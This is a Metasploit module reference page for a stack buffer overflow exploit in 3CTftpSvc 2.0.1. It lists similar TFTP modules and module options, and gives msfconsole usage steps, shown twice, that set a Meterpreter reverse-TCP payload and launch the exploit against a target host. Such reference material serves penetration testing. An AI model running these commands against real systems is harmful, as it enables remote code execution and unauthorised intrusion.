Browse Exploit & Auxiliary Modules
The Metasploit Project hosts the world's largest database of quality assured exploits, including hundreds of remote exploits, auxiliary modules, and payloads. You can even review the Metasploit Framework source code of any module - or write your own.
Search for modules
3CTftpSvc TFTP Long Mode Buffer Overflow
This module exploits a stack buffer overflow in 3CTftpSvc 2.0.1. By sending a specially crafted packet with an overly long mode field, a remote attacker could overflow a buffer and execute arbitrary code on the system.
Rank
- Great
Authors
- MC < mc [at] metasploit.com >
References
Exploit Targets
- 0 - 3CTftpSvc 2.0.1 (default)
Development
Similar Modules
- exploit/windows/tftp/attftp_long_filename
- exploit/windows/tftp/dlink_long_filename
- exploit/windows/tftp/futuresoft_transfermode
- exploit/windows/tftp/opentftp_error_code
- exploit/windows/tftp/quick_tftp_pro_mode
- exploit/windows/tftp/tftpd32_long_filename
- exploit/windows/tftp/tftpdwin_long_filename
Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/tftp/threectftpsvc_long_mode
msf exploit(threectftpsvc_long_mode) > show payloads
msf exploit(threectftpsvc_long_mode) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(threectftpsvc_long_mode) > set LHOST [MY IP ADDRESS]
msf exploit(threectftpsvc_long_mode) > set RHOST [TARGET IP]
msf exploit(threectftpsvc_long_mode) > exploit
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/tftp/threectftpsvc_long_mode
msf exploit(threectftpsvc_long_mode) > show payloads
msf exploit(threectftpsvc_long_mode) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(threectftpsvc_long_mode) > set LHOST [MY IP ADDRESS]
msf exploit(threectftpsvc_long_mode) > set RHOST [TARGET IP]
msf exploit(threectftpsvc_long_mode) > exploit
Module Options
| RHOST | The target address |
| RPORT | The target port (default: 69) |
| CHOST | The local client address |
| CPORT | The local client port |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
